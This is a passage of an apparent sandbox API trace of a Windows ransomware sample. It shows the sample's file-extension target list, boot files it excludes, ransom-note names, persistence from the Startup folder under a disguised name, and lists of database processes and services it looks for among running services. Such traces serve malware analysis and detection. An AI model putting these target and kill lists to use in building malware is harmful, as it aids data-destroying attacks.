[0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a98b0 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a8018 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9988 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463640 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9880 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a7f88 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a97d8 | out: hHeap=0x420000) returned 1 [0173.600] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a9880, Size=0x20) returned 0x45dad8 [0173.600] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45dad8, Size=0x40) returned 0x437700 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45e288 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a98e0 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463418 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9718 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a4c18 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9838 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45e258 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a9898 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436b60 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4361c0 | out: hHeap=0x420000) returned 1 [0173.600] lstrlenW (lpString="%systemdrive%") returned 13 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d768 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a5388 | out: hHeap=0x420000) returned 1 [0173.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45e1a8 | out: hHeap=0x420000) returned 1 [0173.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x464b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a99b8, Size=0x20) returned 0x45db50 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45db50, Size=0x40) returned 0x437748 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437748, Size=0x80) returned 0x4a5850 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5850, Size=0x100) returned 0x463418 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x200) returned 0x463418 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x400) returned 0x4a7f88 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a7f88, Size=0x800) returned 0x4a5b70 [0173.601] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5b70, Size=0x1000) returned 0x4a5b70 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e258, Size=0x8) returned 0x45e158 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45e158, Size=0x10) returned 0x4a99b8 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a99b8, Size=0x20) returned 0x45d6f0 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d6f0, Size=0x40) returned 0x437940 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437940, Size=0x80) returned 0x4a4fd0 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a4fd0, Size=0x100) returned 0x463418 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x200) returned 0x463418 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463418, Size=0x400) returned 0x4a7f88 [0173.602] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a7f88, Size=0x800) returned 0x485b78 [0173.602] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0173.602] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a5b70 | out: hHeap=0x420000) returned 1 [0173.603] lstrlenW (lpString="") returned 0 [0173.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4859f0 | out: hHeap=0x420000) returned 1 [0173.603] lstrlenW (lpString=".kr") returned 3 [0173.603] lstrlenW (lpString=".kr") returned 3 [0173.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4858d0 | out: hHeap=0x420000) returned 1 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4858a0, Size=0x20) returned 0x45d768 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d768, Size=0x40) returned 0x437748 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437748, Size=0x80) returned 0x4a4ca0 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd28, Size=0x8) returned 0x4bcc78 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc78, Size=0x10) returned 0x485858 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485858, Size=0x20) returned 0x45d8d0 [0173.603] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0173.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a4ca0 | out: hHeap=0x420000) returned 1 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485990, Size=0x20) returned 0x45db78 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45db78, Size=0x40) returned 0x437aa8 [0173.603] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0173.603] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0173.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437aa8 | out: hHeap=0x420000) returned 1 [0173.603] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485a38, Size=0x20) returned 0x45d9e8 [0173.603] lstrlenW (lpString="Info.hta") returned 8 [0173.603] lstrlenW (lpString="Info.hta") returned 8 [0173.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d9e8 | out: hHeap=0x420000) returned 1 [0173.603] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x486380, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe")) returned 0x59 [0173.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486380 | out: hHeap=0x420000) returned 1 [0173.604] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0173.604] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d8d0, Size=0x40) returned 0x437748 [0173.604] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485870, Size=0x20) returned 0x45d9c0 [0173.604] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4858b8, Size=0x20) returned 0x45d8d0 [0173.604] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d8d0, Size=0x40) returned 0x4378b0 [0173.604] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4378b0, Size=0x80) returned 0x4a4ca0 [0173.604] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a4ca0, Size=0x100) returned 0x463418 [0173.605] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0173.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463418 | out: hHeap=0x420000) returned 1 [0173.605] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x486380, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0173.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcfe8 | out: hHeap=0x420000) returned 1 [0173.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x486380 | out: hHeap=0x420000) returned 1 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc58, Size=0x8) returned 0x4bccb8 [0173.606] lstrlenW (lpString="%windir%;") returned 9 [0173.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d9c0 | out: hHeap=0x420000) returned 1 [0173.606] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0173.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x474b68 | out: hHeap=0x420000) returned 1 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485a68, Size=0x20) returned 0x45d8d0 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d8d0, Size=0x40) returned 0x437670 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437670, Size=0x80) returned 0x4a51f0 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a51f0, Size=0x100) returned 0x463418 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd48, Size=0x8) returned 0x4bcc28 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc28, Size=0x10) returned 0x4858a0 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4858a0, Size=0x20) returned 0x45da60 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd28, Size=0x8) returned 0x4bcd98 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcdf8, Size=0x8) returned 0x4bcd48 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd28, Size=0x8) returned 0x4bcd88 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd88, Size=0x10) returned 0x4858a0 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4858a0, Size=0x20) returned 0x45db78 [0173.606] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd98, Size=0x10) returned 0x4857e0 [0173.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd48, Size=0x10) returned 0x4859f0 [0173.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd58, Size=0x8) returned 0x4bccc8 [0173.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcdf8, Size=0x8) returned 0x4bcd58 [0173.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4857e0, Size=0x20) returned 0x45da88 [0173.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4859f0, Size=0x20) returned 0x45dad8 [0173.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc78, Size=0x8) returned 0x4bcd88 [0173.607] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0173.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463418 | out: hHeap=0x420000) returned 1 [0173.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485948, Size=0x20) returned 0x45d9c0 [0173.607] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x474b68, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0173.607] lstrlenW (lpString="C:\\") returned 3 [0173.607] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x474b68 | out: hHeap=0x420000) returned 1 [0173.608] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc28, Size=0x82) returned 0x4634a8 [0173.608] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc18, Size=0x100) returned 0x463538 [0173.608] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4634a8, Size=0x104) returned 0x4a8018 [0173.608] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463538, Size=0x200) returned 0x4a8128 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcca8 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a8128 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485af8 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a4db0 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485a68 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a5388 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485a98 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a8018 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485a80 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463640 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485ab0 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a7f88 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485b28 | out: hHeap=0x420000) returned 1 [0173.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcc88 [0173.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x485ac8 [0173.609] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485ac8, Size=0x20) returned 0x45d9e8 [0173.609] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d9e8, Size=0x40) returned 0x437670 [0173.609] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x485b10 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcdf8 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4859f0 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x463418 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485978 | out: hHeap=0x420000) returned 1 [0173.609] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a5300 | out: hHeap=0x420000) returned 1 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485948 | out: hHeap=0x420000) returned 1 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcc08 | out: hHeap=0x420000) returned 1 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x485a08 | out: hHeap=0x420000) returned 1 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436a10 | out: hHeap=0x420000) returned 1 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x436240 | out: hHeap=0x420000) returned 1 [0173.610] lstrlenW (lpString="%systemdrive%") returned 13 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45d9c0 | out: hHeap=0x420000) returned 1 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a4ca0 | out: hHeap=0x420000) returned 1 [0173.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bcd98 | out: hHeap=0x420000) returned 1 [0173.610] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x2c) returned 0x43d140 [0173.610] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x2000) returned 0x474b68 [0173.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4abbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0173.611] WaitForMultipleObjects (nCount=0x2, lpHandles=0x43b1e8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 30 os_tid = 0xdf8 Thread: id = 34 os_tid = 0xe14 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4859f0 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4859f0, Size=0x20) returned 0x45d6f0 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d6f0, Size=0x40) returned 0x437a60 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x437a60, Size=0x80) returned 0x4a5a70 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5a70, Size=0x100) returned 0x4a7f88 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4859f0 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4859f0, Size=0x20) returned 0x45d768 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45d768, Size=0x40) returned 0x4378b0 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4378b0, Size=0x80) returned 0x4a5520 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4a5520, Size=0x100) returned 0x4a8090 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x485978 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x4bcd98 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4859f0 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcd98, Size=0x8) returned 0x4bcdf8 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x436240 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcdf8, Size=0x10) returned 0x485a08 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x4368c0 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45d830 [0173.839] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485a08, Size=0x20) returned 0x45db00 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c) returned 0x45d768 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x16) returned 0x436600 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1a) returned 0x45d8d0 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x485a08 [0173.839] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x4) returned 0x4bcdf8 [0173.840] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x40) returned 0x4378b0 [0173.840] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcdf8, Size=0x8) returned 0x4bcc08 [0173.840] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x3c) returned 0x4378f8 [0173.840] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4bcc08, Size=0x10) returned 0x485a98 [0173.840] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x14) returned 0x436860 [0173.840] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x18) returned 0x436880 [0173.840] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x485a98, Size=0x20) returned 0x45d6f0 [0173.840] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x24) returned 0x436a10 [0173.840] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0173.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a7f88 | out: hHeap=0x420000) returned 1 [0173.840] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0173.840] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a8090 | out: hHeap=0x420000) returned 1 [0173.840] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45d920 [0173.840] EnumServicesStatusExW (in: hSCManager=0x45d920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0173.841] GetLastError () returned 0xea [0173.841] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bb2) returned 0x476b70 [0173.841] EnumServicesStatusExW (in: hSCManager=0x45d920, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x476b70, cbBufSize=0x1bb2, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x476b70, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0173.842] CloseServiceHandle (hSCObject=0x45d920) returned 1 [0173.842] lstrlenW (lpString="AppXSvc") returned 7 [0173.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0173.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0173.842] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0173.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0173.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0173.842] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0173.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0173.842] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0173.842] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0173.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0173.842] lstrlenW (lpString="Audiosrv") returned 8 [0173.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0173.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0173.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0173.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0173.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0173.842] lstrlenW (lpString="BFE") returned 3 [0173.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0173.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0173.842] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0173.842] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0173.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0173.843] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0173.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 